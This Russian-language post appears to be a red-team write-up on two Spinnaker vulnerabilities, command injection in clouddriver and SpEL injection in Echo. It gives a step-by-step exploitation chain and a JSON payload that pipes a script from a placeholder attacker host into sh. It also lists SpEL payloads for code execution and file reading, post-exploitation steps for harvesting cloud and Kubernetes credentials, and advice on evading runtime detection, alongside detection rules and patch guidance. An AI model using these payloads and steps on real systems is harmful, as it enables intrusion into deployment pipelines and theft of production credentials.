На red team-проекте против CI/CD-конвейера финтех-компании - один из классических сценариев атак на цепочку поставок, которые я разобрал в обзоре TTP атак на цепочку поставок 2025–2026, мне попался Spinnaker за API-шлюзом Gate - обычная учётка без привилегированных ролей, доступ через корпоративный VPN. Два часа recon, один
PUT /artifacts/fetch - и я сижу в шелле на поде clouddriver с production-credentials AWS. Приятно.В апреле 2026 года ZeroPath Research опубликовала advisory по двум критическим уязвимостям, которые превращают именно такой доступ в полноценный RCE: CVE-2026-32604 (command injection в clouddriver, CVSS 9.9) и CVE-2026-32613 (SpEL-инъекция в Echo, CVSS 9.9). Обе эксплуатируются low-privilege пользователем - ни WRITE на application, ни EXECUTE на pipeline для первого вектора не нужны. Ниже - разбор обоих векторов до уровня конкретных строк кода, post-exploitation и то, что реально видит (и не видит) blue team.
Архитектура Spinnaker и модель доверия, которая всё ломает
Spinnaker - open source платформа для управления деплоями в multi-cloud средах, созданная Netflix. Используется Google, Cisco и сотнями enterprise-команд. Архитектурно это 10+ микросервисов, из которых для эксплуатации нас интересуют пять:- Gate - публичный API-шлюз, единственная точка аутентификации и авторизации.
- Orca - оркестратор pipeline'ов, выполняет стадии деплоя.
- Clouddriver - интерфейс к облачным провайдерам, хранит credentials для production.
- Echo - хаб нотификаций и триггеров pipeline'ов, обрабатывает события.
- Fiat - сервис авторизации (RBAC).
Система привилегий Spinnaker простая. Два типа ресурсов: Account (облачный аккаунт - READ/WRITE) и Application (управляемое приложение - READ/EXECUTE/WRITE). CVE-2026-32604 не требует ни одной из этих привилегий - хватает аутентификации в Gate. CVE-2026-32613 требует WRITE на одно application для модификации pipeline trigger.
CVSS-вектор обеих CVE идентичен:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. Ключевое - S:C (Scope: Changed): компрометация выходит за пределы уязвимого компонента на production-инфраструктуру. CWE различаются: CWE-20 (Improper Input Validation) для clouddriver и CWE-94 (Code Injection) для Echo.Оба вектора актуальны на внутреннем пентесте, где Spinnaker доступен через VPN или корпоративную сеть. На внешнем - только если Gate торчит в интернет (ZeroPath отмечает единичные случаи публичных инстансов, но стандартная конфигурация - private-only).
CVE-2026-32604: command injection в Clouddriver через git/repo-артефакты
Уязвимый путь: от PUT /artifacts/fetch до sh -c
Clouddriver - самая жирная цель: именно этот сервис хранит credentials к production-облакам (AWS, GCP, Azure). Вектор атаки проходит через эндпоинтPUT /artifacts/fetch, который Gate проксирует в Clouddriver без дополнительной авторизации.Clouddriver поддерживает несколько типов артефактов, включая
git/repo - скачивание git-репозитория. В GitJobExecutor.java имя ветки из пользовательского ввода конкатенируется напрямую в shell-команду:
Java:
String command = gitExecutable
+ " clone --branch " + branch
+ " --depth 1 " + repoUrlWithAuth(repoUrl);
JobResult<String> result = new CommandChain(destination)
.addCommand(command).runAll();
branch - содержимое поля version из JSON-тела запроса. Никакой санитизации, никакого экранирования. Классика жанра.Но одной конкатенации мало - нужно, чтобы итоговая строка выполнялась через
sh -c, а не через прямой exec(). Тут всё зависит от типа аутентификации artifact account:
Java:
switch (authType) {
case USER_PASS:
case USER_TOKEN:
case TOKEN:
cmdList.add("sh");
cmdList.add("-c");
cmdList.add(cmd);
break;
case SSH:
default:
cmdList.addAll(Arrays.asList(cmd.split(" ")));
}
USER_PASS, USER_TOKEN или TOKEN команда передаётся в sh -c, и точка с запятой в version работает как разделитель команд оболочки. При SSH - аргументы разбиваются по пробелам, и классическая инъекция не пройдёт (хотя ZeroPath отмечает, что продвинутый атакующий может злоупотребить git-опциями --upload-pack или -c даже в этом случае).Fingerprinting и условия эксплуатации
Требования к окружению для воспроизведения: Spinnaker версии ниже 2026.0.1 / 2025.4.2 / 2025.3.2, аутентифицированная учётная запись в Gate, artifact account с типом TOKEN/USER_PASS/USER_TOKEN. Для локального стенда: docker-compose с Spinnaker или kind-кластер с Halyard.Полная цепочка эксплуатации:
- Аутентифицироваться в Gate (любая учётка).
- Запросить
GET /artifacts/credentials- эндпоинт отдаёт список всех artifact accounts любому аутентифицированному пользователю. Без проверки ролей. Просто так. - Выбрать аккаунт с типом аутентификации TOKEN, USER_PASS или USER_TOKEN.
- Отправить
PUT /artifacts/fetchс payload в полеversion.
JSON:
{
"type": "git/repo",
"reference": "https://example.com/repo.git",
"version": "main; curl http://attacker/sh.sh|sh;",
"artifactAccount": "valid-token-account"
}
sh -c "git clone --branch main; curl http://attacker/sh.sh|sh; --depth 1 https://..." - семиколон разрывает команду, и вместо клонирования clouddriver выполняет произвольный скрипт. Command injection уровня «первый семестр secure coding», а CVSS - 9.9.В терминах MITRE ATT&CK: Exploit Public-Facing Application (T1190, Initial Access) при внешнем Gate, Software Deployment Tools (T1072, Lateral Movement) при внутреннем доступе, затем Unix Shell (T1059.004, Execution) через Indirect Command Execution (T1202, Defense Evasion).
Ограничения: если в организации все artifact accounts настроены через SSH-ключи - стандартный payload через
; не сработает. Если перед Gate стоит WAF, инспектирующий JSON-body запросов, payload может быть отфильтрован. Но WAF перед внутренним Spinnaker - это из области фантастики, на практике я такое видел ровно ноль раз.PoC-скрипты опубликованы ZeroPath в репозитории
ZeroPathAI/spinnaker-poc на GitHub (обновлён 2026-04-21).CVE-2026-32613: SpEL-инъекция в Echo без sandbox
Почему Echo уязвим, а Orca - нет
Echo обрабатывает триггеры pipeline'ов и нотификации, включая expected artifacts. Для обработки выражений в artifact definitions Echo использует Spring Expression Language (SpEL) - стандартный механизм Spring Framework для вычисления выражений в runtime.Orca тоже использует SpEL, но с одним принципиальным отличием: Orca ограничивает SpEL-контекст whitelist'ом доверенных классов. Echo - нет. NVD формулирует: «Echo was NOT restricting that context to a set of trusted classes, but allowing FULL JVM access». SpEL-выражения в Echo могут инстанцировать любой Java-класс из classpath:
java.lang.Runtime, java.lang.ProcessBuilder, java.io.File - полный набор для RCE и доступа к файловой системе.CWE-94 (Improper Control of Generation of Code) - принципиально другой класс уязвимости по сравнению с command injection в clouddriver. Здесь атакующий работает не с shell-командами, а с Java-классами внутри JVM. Это даёт более широкие возможности: чтение файлов, сетевые подключения, загрузка произвольных классов - всё из одного выражения.
Вектор через expected artifacts и конструирование SpEL-payload
Входная точка - конфигурация pipeline trigger с вредоносным SpEL-выражением в полях, связанных с artifact definition. Для эксплуатации нужна WRITE-привилегия на хотя бы одно application в Spinnaker (чтобы модифицировать pipeline). Если атакующий уже внутри trusted network - например, через CVE-2026-32604 - можно обращаться к Echo напрямую, минуя Gate и авторизацию Fiat.Стандартные SpEL-payload'ы для RCE в неограниченном контексте:
- Через
Runtime:${T(java.lang.Runtime).getRuntime().exec('id')} - Через
ProcessBuilder:${new java.lang.ProcessBuilder({'sh','-c','cat /etc/passwd'}).start()} - Чтение файлов:
${T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/opt/spinnaker/config/echo.yml'))}
CVE-2026-32613 наиболее опасна как второй этап в цепочке атаки. Clouddriver уже скомпрометирован через CVE-2026-32604 → доступ к Echo тривиален: из clouddriver-пода можно обратиться к Echo по внутреннему DNS без аутентификации. Как самостоятельный вектор - требует WRITE на application, что сужает круг атакующих до разработчиков и DevOps-инженеров с соответствующими правами.
Ограничение: если организация использует OPA/Gatekeeper для валидации pipeline-конфигов на уровне admission controller - SpEL-payload в pipeline trigger может быть отклонён до попадания в Echo. Но стандартная установка Spinnaker такую валидацию не включает.
Какой вектор выбрать: decision table
| Условие | CVE-2026-32604 (Clouddriver) | CVE-2026-32613 (Echo) |
|---|---|---|
| Требуемые привилегии | Только аутентификация | WRITE на application |
| Artifact accounts с TOKEN/USER_PASS | Обязательно | Не требуется |
| Доступ изнутри trusted network | Упрощает (обход Gate) | Упрощает (обход Fiat) |
| Результат | Shell на clouddriver-поде | JVM-доступ на echo-поде |
| Ценность post-exploitation | Облачные credentials | Токены нотификаций, конфиг интеграций |
| Сложность детекции | Средняя (WAF на body) | Высокая (SpEL в JSON) |
На внутреннем пентесте оптимальная стратегия: начать с CVE-2026-32604 (ниже порог входа), получить shell на clouddriver, затем через trusted network обратиться к Echo напрямую для CVE-2026-32613 - расширяя доступ без повторной аутентификации. Два хопа, ноль дополнительных кредов.
Post-exploitation: от пода к production credentials
Компрометация clouddriver - не просто RCE на одном поде. Стандартная цепочка post-exploitation по данным ZeroPath:
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Credentials в plaintext. Первый шаг -
cat /opt/spinnaker/config/clouddriver.yml внутри пода. Если организация не использует AssumeRole или external vault (HashiCorp Vault, AWS Secrets Manager), облачные секреты лежат в этом файле в открытом виде. На моей практике в 3 из 5 инсталляций Spinnaker так и было - ключи прямо в YAML, без шифрования, без ротации.Cloud instance credentials. Если ключи не в конфиге - под наследует IAM-роль через instance metadata. Запрос
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ возвращает временные credentials с правами, которые clouddriver использует для управления деплоями. Обычно это широкие полномочия на EC2, ECS, EKS - потому что clouddriver должен уметь создавать и убивать инстансы.Kubernetes API и Escape to Host (T1611). Clouddriver-под работает внутри K8s-кластера. ServiceAccount token монтируется по умолчанию в
/var/run/secrets/kubernetes.io/serviceaccount/token. С этим токеном и правами, которые обычно нужны clouddriver для создания и управления ресурсами, атакующий может создавать поды, читать secrets, перемещаться по namespace'ам.Lateral movement через trusted mesh (T1072). Shell на clouddriver → прямой доступ к Orca, Echo, Fiat по внутреннему DNS без аутентификации. Из Echo - токены Slack, PagerDuty, email-credentials. Из Orca - конфигурации pipeline'ов с секретами. Из Fiat - полная карта RBAC-привилегий всех пользователей. Один shell - и весь Spinnaker как на ладони.
Что видит blue team и слепые зоны мониторинга
Детекция на уровне сети и приложения
Для CVE-2026-32604 основной IoC - запросыPUT /artifacts/fetch с подозрительным содержимым в поле version. Если reverse proxy перед Gate логирует тела запросов, Sigma-правило на наличие ;, |, $(), обратных кавычек в JSON-body поля version отлавливает базовые payload'ы. Проблема: этот эндпоинт используется легитимно для скачивания артефактов, и фильтрация по URL-пути создаст кучу false positive.Для CVE-2026-32613 сетевая детекция значительно сложнее. SpEL-выражения находятся глубоко в JSON-структуре pipeline trigger и могут быть обфусцированы. Regex-подход ненадёжен - нужен парсинг конструкций вида
T(java.lang., new java.lang.Process, Runtime.getRuntime() внутри pipeline JSON. На практике это требует кастомного парсера на уровне admission webhook в Kubernetes или API-прокси перед Echo. Готовых решений я не встречал.На уровне хоста: runtime-мониторинг (Falco, Tetragon) на clouddriver/echo подах обнаружит выполнение shell-команд из Java-процесса. Правило Falco на
execve с parent-процессом java и командой sh/bash/curl - стандартный детект для command injection в JVM-приложениях. Если Falco на подах стоит - вас поймают. Если не стоит (а на Spinnaker-подах его часто нет) - тишина.OPSEC при эксплуатации на реальном проекте
Что оставляет следы:PUT /artifacts/fetchлогируется в access-логах Gate и clouddriver. Payload попадёт в лог.git cloneна несуществующий репозиторий - ошибка в логах clouddriver с полным текстом команды.- Reverse shell из пода - алерт в Falco/Tetragon на
execveот потомка JVM. - Исходящее соединение из пода - NetworkPolicy violation (если настроена egress-фильтрация).
kubectl get networkpolicy -n spinnaker (если доступ к K8s API уже есть). Для CVE-2026-32604 - payload через curl ... | sh оставляет меньше артефактов в git-логах, чем попытка записи в файл. Для SpEL - ProcessBuilder с перенаправлением в файл внутри пода тише, чем Runtime.exec() с pipe.EPSS-контекст: по данным FIRST.org на май 2026, обе CVE имеют EPSS 0.0008 (percentile ~0.23) - вероятность массовой эксплуатации в ближайшие 30 дней ниже медианы. CISA SSVC: «Track» (мониторить), exploitation status -
none, automatable - no, technical impact - total. Массовой эксплуатации нет, но единичные целевые атаки - вполне реальный сценарий.Патч и временные митигации
Уязвимости исправлены в версиях Spinnaker: 2026.1.0, 2026.0.1, 2025.4.2, 2025.3.2. Проверить текущую версию:curl -s https://<gate-host>/version или через Deck UI - Settings.Workaround'ы до патча:
- CVE-2026-32604: отключить artifact type
git/repoв конфигурации clouddriver. Ломает скачивание git-артефактов, но закрывает вектор инъекции. - CVE-2026-32613: отключить Echo полностью. Ломает нотификации и часть триггеров pipeline'ов - болезненно для production, но устраняет SpEL-вектор.
PUT /artifacts/fetch через RBAC в Gate, настроить Falco с правилами на shell-spawn из JVM-процессов, ввести admission webhook для валидации SpEL в pipeline-конфигах.Advisory: GHSA-x3j7-7pgj-h87r (CVE-2026-32604), GHSA-69rw-45wj-g4v6 (CVE-2026-32613).
Две уязвимости с одинаковым CVSS 9.9 - и принципиально разная природа. CVE-2026-32604 - банальная конкатенация пользовательского ввода в shell-команду, ошибка уровня «первый семестр secure coding». CVE-2026-32613 - архитектурный просчёт: Orca получила sandbox на SpEL-контекст, а Echo - нет. Обе уязвимости существовали годами.
И вот что меня в этой истории цепляет больше всего. Pipeline-инфраструктура - Spinnaker, Argo CD, Jenkins - исторически не проверялась с offensive-перспективы. DevOps-команды фокусировались на функциональности, security review приходил последним (если вообще приходил), а модель доверия между микросервисами строилась по принципу «всё внутри кластера - trusted». Результат: command injection'ы уровня 2015 года в сервисах с ключами от production. Для тех, кто работает в red team против enterprise-инфраструктуры, CI/CD-конвейер сейчас - один из самых недооценённых векторов. Не потому что там сложные zero-day, а потому что там валяются простейшие баги в сервисах с максимальными привилегиями. Проверьте свой Spinnaker -
GET /artifacts/credentials покажет, есть ли у вас аккаунты с TOKEN-аутентификацией. Если есть и версия не патченная - у вас та же проблема.
Последнее редактирование: